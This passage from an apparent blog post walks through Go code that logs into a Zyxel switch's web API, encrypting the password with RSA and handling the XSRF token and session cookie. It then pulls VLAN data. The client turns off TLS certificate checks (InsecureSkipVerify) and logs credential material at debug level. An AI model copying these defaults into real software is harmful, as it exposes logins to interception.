</span></span><span style="display:flex;"><span>	pubKey <span style="color:#99d1db;font-weight:bold">:=</span> <span style="color:#99d1db;font-weight:bold">&amp;</span>rsa.PublicKey{
</span></span><span style="display:flex;"><span>		N: modulus,
</span></span><span style="display:flex;"><span>		E: <span style="color:#99d1db">int</span>(exponent),
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	log.<span style="color:#8caaee">Debug</span>().<span style="color:#8caaee">Interface</span>(<span style="color:#a6d189">&#34;pubKey&#34;</span>, pubKey).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;pubKey&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">return</span> pubKey, <span style="color:#ef9f76">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">func</span> <span style="color:#8caaee">EncryptPassword</span>(pubKey <span style="color:#99d1db;font-weight:bold">*</span>rsa.PublicKey, password <span style="color:#e78284">string</span>) (<span style="color:#e78284">string</span>, <span style="color:#e78284">error</span>) {
</span></span><span style="display:flex;"><span>	passwordBytes <span style="color:#99d1db;font-weight:bold">:=</span> []<span style="color:#99d1db">byte</span>(password)
</span></span><span style="display:flex;"><span>	encryptedBytes, err <span style="color:#99d1db;font-weight:bold">:=</span> rsa.<span style="color:#8caaee">EncryptPKCS1v15</span>(rand.Reader, pubKey, passwordBytes)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;error in encryption&#34;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#ca9ee6">return</span> <span style="color:#a6d189">&#34;&#34;</span>, err
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	encryptedString <span style="color:#99d1db;font-weight:bold">:=</span> fmt.<span style="color:#8caaee">Sprintf</span>(<span style="color:#a6d189">&#34;%x&#34;</span>, encryptedBytes)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> <span style="color:#99d1db">len</span>(encryptedString)<span style="color:#99d1db;font-weight:bold">%</span><span style="color:#ef9f76">2</span> <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">0</span> {
</span></span><span style="display:flex;"><span>		encryptedString = <span style="color:#a6d189">&#34;0&#34;</span> <span style="color:#99d1db;font-weight:bold">+</span> encryptedString
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Debug</span>().<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;detected odd lenght&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	encryptedBytes, err = hex.<span style="color:#8caaee">DecodeString</span>(encryptedString)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;error in reencoding&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	encryptedPassword <span style="color:#99d1db;font-weight:bold">:=</span> base64.StdEncoding.<span style="color:#8caaee">EncodeToString</span>(encryptedBytes)
</span></span><span style="display:flex;"><span>	log.<span style="color:#8caaee">Debug</span>().<span style="color:#8caaee">Msg</span>(fmt.<span style="color:#8caaee">Sprintf</span>(<span style="color:#a6d189">&#34;base64 encoded encrypted password: %s&#34;</span>, encryptedPassword))
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">return</span> encryptedPassword, <span style="color:#ef9f76">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Create a struct for our client.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">type</span> SwitchClient <span style="color:#e78284">struct</span> {
</span></span><span style="display:flex;"><span>	BaseURL    <span style="color:#e78284">string</span>
</span></span><span style="display:flex;"><span>	Password   <span style="color:#e78284">string</span>
</span></span><span style="display:flex;"><span>	XSRFToken  <span style="color:#e78284">string</span>
</span></span><span style="display:flex;"><span>	HTTPClient <span style="color:#99d1db;font-weight:bold">*</span>http.Client
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Then, init the <code>SwitchClient</code> struct and all the needed objects, such as the HTTP client with a cookie store, the RSA public key and the <code>xsrfToken</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">func</span> (s <span style="color:#99d1db;font-weight:bold">*</span>SwitchClient) <span style="color:#8caaee">Init</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#737994;font-style:italic">// TODO: specify CA or use system certificates</span>
</span></span><span style="display:flex;"><span>	transport <span style="color:#99d1db;font-weight:bold">:=</span> <span style="color:#99d1db;font-weight:bold">&amp;</span>http.Transport{
</span></span><span style="display:flex;"><span>		TLSClientConfig: <span style="color:#99d1db;font-weight:bold">&amp;</span>tls.Config{InsecureSkipVerify: <span style="color:#ef9f76">true</span>},
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	jar, _ <span style="color:#99d1db;font-weight:bold">:=</span> cookiejar.<span style="color:#8caaee">New</span>(<span style="color:#ef9f76">nil</span>)
</span></span><span style="display:flex;"><span>	s.HTTPClient = <span style="color:#99d1db;font-weight:bold">&amp;</span>http.Client{
</span></span><span style="display:flex;"><span>		Jar:       jar,
</span></span><span style="display:flex;"><span>		Transport: transport,
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	requestURL <span style="color:#99d1db;font-weight:bold">:=</span> utils.<span style="color:#8caaee">GetURL</span>(s.BaseURL, utils.CGIGETPath, utils.LoginInfoCMD)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#e78284">var</span> loginInfoDataResp rawdata.LoginInfo
</span></span><span style="display:flex;"><span>	s.<span style="color:#8caaee">StoreParsedData</span>(requestURL, <span style="color:#99d1db;font-weight:bold">&amp;</span>loginInfoDataResp)
</span></span><span style="display:flex;"><span>	parsedURL, err <span style="color:#99d1db;font-weight:bold">:=</span> url.<span style="color:#8caaee">Parse</span>(s.BaseURL)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;invalid URL&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> parsedURL.Scheme <span style="color:#99d1db;font-weight:bold">==</span> <span style="color:#a6d189">&#34;http&#34;</span> {
</span></span><span style="display:flex;"><span>		modulus <span style="color:#99d1db;font-weight:bold">:=</span> loginInfoDataResp.Modulus[:<span style="color:#99d1db">len</span>(loginInfoDataResp.Modulus)<span style="color:#99d1db;font-weight:bold">-</span><span style="color:#ef9f76">1</span>]
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Debug</span>().<span style="color:#8caaee">Msg</span>(modulus)
</span></span><span style="display:flex;"><span>		publicKey, err <span style="color:#99d1db;font-weight:bold">:=</span> utils.<span style="color:#8caaee">CreatePublicKey</span>(modulus, utils.HEXExponent)
</span></span><span style="display:flex;"><span>		<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>			log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;can&#39;t set public key&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		s.Password, err = utils.<span style="color:#8caaee">EncryptPassword</span>(publicKey, s.Password)
</span></span><span style="display:flex;"><span>		<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>			log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;cannot encrypt password&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	s.XSRFToken, err = utils.<span style="color:#8caaee">GenXSRFToken</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;cannot generate xsrftoken&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Create the struct needed to store the <code>authId</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">type</span> AuthResponse <span style="color:#e78284">struct</span> {
</span></span><span style="display:flex;"><span>	Status <span style="color:#e78284">string</span> <span style="color:#a6d189">`json:&#34;status&#34;`</span>
</span></span><span style="display:flex;"><span>	AuthID <span style="color:#e78284">string</span> <span style="color:#a6d189">`json:&#34;authId&#34;`</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Login,</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">func</span> (s <span style="color:#99d1db;font-weight:bold">*</span>SwitchClient) <span style="color:#8caaee">Login</span>() {
</span></span><span style="display:flex;"><span>	passwordParams <span style="color:#99d1db;font-weight:bold">:=</span> url.Values{}
</span></span><span style="display:flex;"><span>	passwordParams.<span style="color:#8caaee">Add</span>(<span style="color:#a6d189">&#34;password&#34;</span>, s.Password)
</span></span><span style="display:flex;"><span>	requestURL <span style="color:#99d1db;font-weight:bold">:=</span> utils.<span style="color:#8caaee">GetURL</span>(s.BaseURL, utils.CGISETPath, utils.LoginAuthCMD)
</span></span><span style="display:flex;"><span>	bodyBytes, err <span style="color:#99d1db;font-weight:bold">:=</span> s.<span style="color:#8caaee">Post</span>(requestURL, passwordParams.<span style="color:#8caaee">Encode</span>())
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;login post failed&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#e78284">var</span> authResponse rawdata.AuthResponse
</span></span><span style="display:flex;"><span>	err = json.<span style="color:#8caaee">Unmarshal</span>(bodyBytes, <span style="color:#99d1db;font-weight:bold">&amp;</span>authResponse)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;problem umarshaling login data&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	s.<span style="color:#8caaee">GetSessionCookie</span>(authResponse.AuthID)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>and get the session cookie,</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">func</span> (s <span style="color:#99d1db;font-weight:bold">*</span>SwitchClient) <span style="color:#8caaee">GetSessionCookie</span>() {
</span></span><span style="display:flex;"><span>	requestURL <span style="color:#99d1db;font-weight:bold">:=</span> utils.<span style="color:#8caaee">GetURL</span>(s.BaseURL, utils.CGISETPath, utils.LoginStatusCMD)
</span></span><span style="display:flex;"><span>	bodyString <span style="color:#99d1db;font-weight:bold">:=</span> fmt.<span style="color:#8caaee">Sprintf</span>(<span style="color:#a6d189">`{&#34;_ds=1&amp;authId=%s&amp;_de=1&#34;:{}}`</span>, authID)
</span></span><span style="display:flex;"><span>	jsonData <span style="color:#99d1db;font-weight:bold">:=</span> []<span style="color:#99d1db">byte</span>(bodyString)
</span></span><span style="display:flex;"><span>	req, err <span style="color:#99d1db;font-weight:bold">:=</span> http.<span style="color:#8caaee">NewRequest</span>(<span style="color:#a6d189">&#34;POST&#34;</span>, requestURL, bytes.<span style="color:#8caaee">NewBuffer</span>(jsonData))
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;cannot post request&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	req.Header.<span style="color:#8caaee">Set</span>(<span style="color:#a6d189">&#34;Content-Type&#34;</span>, <span style="color:#a6d189">&#34;application/json&#34;</span>)
</span></span><span style="display:flex;"><span>	resp, err <span style="color:#99d1db;font-weight:bold">:=</span> s.HTTPClient.<span style="color:#8caaee">Do</span>(req)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">for</span> _, c <span style="color:#99d1db;font-weight:bold">:=</span> <span style="color:#ca9ee6">range</span> resp.<span style="color:#8caaee">Cookies</span>() {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Debug</span>().<span style="color:#8caaee">Msgf</span>(<span style="color:#a6d189">&#34;%s=%s&#34;</span>, c.Name, c.Value)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Let&rsquo;s declare some helper functions:</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">func</span> (s <span style="color:#99d1db;font-weight:bold">*</span>SwitchClient) <span style="color:#8caaee">FetchVLANData</span>() rawdata.VLANData {
</span></span><span style="display:flex;"><span>	url <span style="color:#99d1db;font-weight:bold">:=</span> utils.<span style="color:#8caaee">GetURL</span>(s.BaseURL, utils.CGIGETPath, utils.VLANListCMD)
</span></span><span style="display:flex;"><span>	<span style="color:#e78284">var</span> vlanDataResp rawdata.VLANData
</span></span><span style="display:flex;"><span>	s.<span style="color:#8caaee">StoreParsedData</span>(url, <span style="color:#99d1db;font-weight:bold">&amp;</span>vlanDataResp)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">return</span> vlanDataResp
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">func</span> (s <span style="color:#99d1db;font-weight:bold">*</span>SwitchClient) <span style="color:#8caaee">StoreParsedData</span>(url <span style="color:#e78284">string</span>, v <span style="color:#e78284">any</span>) <span style="color:#e78284">error</span> {
</span></span><span style="display:flex;"><span>	body, _ <span style="color:#99d1db;font-weight:bold">:=</span> s.<span style="color:#8caaee">Get</span>(url)
</span></span><span style="display:flex;"><span>	<span style="color:#e78284">var</span> result <span style="color:#e78284">map</span>[<span style="color:#e78284">string</span>]<span style="color:#e78284">interface</span>{}
</span></span><span style="display:flex;"><span>	err <span style="color:#99d1db;font-weight:bold">:=</span> json.<span style="color:#8caaee">Unmarshal</span>(body, <span style="color:#99d1db;font-weight:bold">&amp;</span>result)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;error parsing xsrfToken&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	xsrftoken, ok <span style="color:#99d1db;font-weight:bold">:=</span> result[<span style="color:#a6d189">&#34;xsrfToken&#34;</span>].(<span style="color:#e78284">string</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> ok {
</span></span><span style="display:flex;"><span>		<span style="color:#737994;font-style:italic">// storing xsrftoken, to be used for subsequent post call</span>
</span></span><span style="display:flex;"><span>		s.XSRFToken = xsrftoken
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	err = json.<span style="color:#8caaee">Unmarshal</span>(body, v)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;error parsing data&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	data, ok <span style="color:#99d1db;font-weight:bold">:=</span> result[<span style="color:#a6d189">&#34;data&#34;</span>].(<span style="color:#e78284">any</span>)
</span></span><span style="display:flex;"><span>	marshaledData, _ <span style="color:#99d1db;font-weight:bold">:=</span> json.<span style="color:#8caaee">Marshal</span>(data)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;error marshaling data field&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	err = json.<span style="color:#8caaee">Unmarshal</span>(marshaledData, v)
</span></span><span style="display:flex;"><span>	log.<span style="color:#8caaee">Debug</span>().<span style="color:#8caaee">Interface</span>(<span style="color:#a6d189">&#34;raw_data&#34;</span>, v).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;raw_data&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">return</span> <span style="color:#ef9f76">nil</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">func</span> (s <span style="color:#99d1db;font-weight:bold">*</span>SwitchClient) <span style="color:#8caaee">Get</span>(requestURL <span style="color:#e78284">string</span>) ([]<span style="color:#e78284">byte</span>, <span style="color:#e78284">error</span>) {
</span></span><span style="display:flex;"><span>	resp, err <span style="color:#99d1db;font-weight:bold">:=</span> s.HTTPClient.<span style="color:#8caaee">Get</span>(requestURL)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> (err) <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;error fetching data&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	body, err <span style="color:#99d1db;font-weight:bold">:=</span> io.<span style="color:#8caaee">ReadAll</span>(resp.Body)
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">defer</span> resp.Body.<span style="color:#8caaee">Close</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> err <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">nil</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Fatal</span>().<span style="color:#8caaee">Err</span>(err).<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;error reading body&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">if</span> resp.StatusCode <span style="color:#99d1db;font-weight:bold">!=</span> <span style="color:#ef9f76">200</span> {
</span></span><span style="display:flex;"><span>		log.<span style="color:#8caaee">Error</span>().<span style="color:#8caaee">Msg</span>(<span style="color:#a6d189">&#34;get request returned non 200 response code&#34;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#ca9ee6">return</span> <span style="color:#ef9f76">nil</span>, fmt.<span style="color:#8caaee">Errorf</span>(<span style="color:#a6d189">&#34;resp code %d&#34;</span>, resp.StatusCode)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#ca9ee6">return</span> body, <span style="color:#ef9f76">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><code>StoreParsedData()</code> will send an HTTP request, get the body and marshal it, save the <code>xsrfToken</code> (to be used for the next request) and then extract the relevant data in a generic struct.</p>
<p>For VLAN,</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">type</span> VLANData <span style="color:#e78284">struct</span> {
</span></span><span style="display:flex;"><span>	PVIDs  []<span style="color:#e78284">int</span>         <span style="color:#a6d189">`json:&#34;pvids&#34;`</span>
</span></span><span style="display:flex;"><span>	QVLANs []<span style="color:#e78284">interface</span>{} <span style="color:#a6d189">`json:&#34;qvlans&#34;`</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#e78284">type</span> VLANDataResp <span style="color:#e78284">struct</span> {
</span></span><span style="display:flex;"><span>	Data VLANData <span style="color:#a6d189">`json:&#34;data&#34;`</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Aaaaaand, here we go:</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#e78284">func</span> <span style="color:#8caaee">main</span>() {
</span></span><span style="display:flex;"><span>	zerolog.<span style="color:#8caaee">SetGlobalLevel</span>(zerolog.DebugLevel)
</span></span><span style="display:flex;"><span>	log.Logger = zerolog.<span style="color:#8caaee">New</span>(os.Stderr).<span style="color:#8caaee">With</span>().
</span></span><span style="display:flex;"><span>		<span style="color:#8caaee">Timestamp</span>().
</span></span><span style="display:flex;"><span>		<span style="color:#8caaee">Caller</span>().
</span></span><span style="display:flex;"><span>		<span style="color:#8caaee">Logger</span>()
</span></span><span style="display:flex;"><span>	baseURL <span style="color:#99d1db;font-weight:bold">:=</span> os.<span style="color:#8caaee">Getenv</span>(<span style="color:#a6d189">&#34;ZYXEL_HOSTNAME&#34;</span>)
</span></span><span style="display:flex;"><span>	password <span style="color:#99d1db;font-weight:bold">:=</span> os.<span style="color:#8caaee">Getenv</span>(<span style="color:#a6d189">&#34;ZYXEL_PASSWORD&#34;</span>)
</span></span><span style="display:flex;"><span>	zyxelSwitch <span style="color:#99d1db;font-weight:bold">:=</span> xgsapi.SwitchClient{
</span></span><span style="display:flex;"><span>		BaseURL:  baseURL,
</span></span><span style="display:flex;"><span>		Password: password,
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	zyxelSwitch.<span style="color:#8caaee">Init</span>()
</span></span><span style="display:flex;"><span>	zyxelSwitch.<span style="color:#8caaee">Login</span>()
</span></span><span style="display:flex;"><span>	zyxelSwitch.<span style="color:#8caaee">FetchSystemData</span>()
</span></span><span style="display:flex;"><span>	zyxelSwitch.<span style="color:#8caaee">FetchLinkData</span>()
</span></span><span style="display:flex;"><span>	zyxelSwitch.<span style="color:#8caaee">FetchVLANData</span>()
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#99d1db;font-weight:bold">{</span><span style="color:#a6d189">&#34;level&#34;</span>:<span style="color:#a6d189">&#34;debug&#34;</span>,<span style="color:#a6d189">&#34;raw_data&#34;</span>:<span style="color:#99d1db;font-weight:bold">{</span><span style="color:#a6d189">&#34;data&#34;</span>:<span style="color:#99d1db;font-weight:bold">{</span><span style="color:#a6d189">&#34;pvids&#34;</span>:<span style="color:#99d1db;font-weight:bold">[</span>1,100,1,1,1,200,200,1,1,1,1,10,1,1,1,1,1<span style="color:#99d1db;font-weight:bold">]</span>,<span style="color:#a6d189">&#34;qvlans&#34;</span>:<span style="color:#99d1db;font-weight:bold">[[</span>1,<span style="color:#a6d189">&#34;0x1ff9d&#34;</span>,<span style="color:#a6d189">&#34;0x800&#34;</span><span style="color:#99d1db;font-weight:bold">]</span>,<span style="color:#99d1db;font-weight:bold">[</span>2,<span style="color:#a6d189">&#34;0x1f000&#34;</span>,<span style="color:#a6d189">&#34;0x1f000&#34;</span><span style="color:#99d1db;font-weight:bold">]</span>,<span style="color:#99d1db;font-weight:bold">[</span>10,<span style="color:#a6d189">&#34;0x1fb80&#34;</span>,<span style="color:#a6d189">&#34;0x1fb80&#34;</span><span style="color:#99d1db;font-weight:bold">]</span>,<span style="color:#99d1db;font-weight:bold">[</span>20,<span style="color:#a6d189">&#34;0x1fb80&#34;</span>,<span style="color:#a6d189">&#34;0x1fb80&#34;</span><span style="color:#99d1db;font-weight:bold">]</span>,<span style="color:#99d1db;font-weight:bold">[</span>30,<span style="color:#a6d189">&#34;0x1f381&#34;</span>,<span style="color:#a6d189">&#34;0x1f381&#34;</span><span style="color:#99d1db;font-weight:bold">]</span>,<span style="color:#99d1db;font-weight:bold">[</span>40,<span style="color:#a6d189">&#34;0x1f381&#34;</span>,<span style="color:#a6d189">&#34;0x1f381&#34;</span><span style="color:#99d1db;font-weight:bold">]</span>,<span style="color:#99d1db;font-weight:bold">[</span>100,<span style="color:#a6d189">&#34;0x1f382&#34;</span>,<span style="color:#a6d189">&#34;0x1f380&#34;</span><span style="color:#99d1db;font-weight:bold">]</span>,<span style="color:#99d1db;font-weight:bold">[</span>200,<span style="color:#a6d189">&#34;0x1fbe1&#34;</span>,<span style="color:#a6d189">&#34;0x1fb81&#34;</span><span style="color:#99d1db;font-weight:bold">]</span>,<span style="color:#99d1db;font-weight:bold">[</span>300,<span style="color:#a6d189">&#34;0x1f003&#34;</span>,<span style="color:#a6d189">&#34;0x1f000&#34;</span><span style="color:#99d1db;font-weight:bold">]]}}</span>
</span></span></code></pre></div><p>PoC code can be found <a href="https://github.com/cicci8ino/xgs-api">here</a>.</p>
<h1 id="wait-what-about-https-connection">Wait, what about HTTPs connection?</h1>
<p>If the switch management interface is reached on the <code>HTTPs</code> URL, the login mechanism is much easier, as the password is sent as is in the same JSON body to the same <code>/cgi/set.cgi?cmd=home_loginAuth</code> endpoint, with no additional encryption other than the channel itself.</p>
]]></content></item></channel></rss>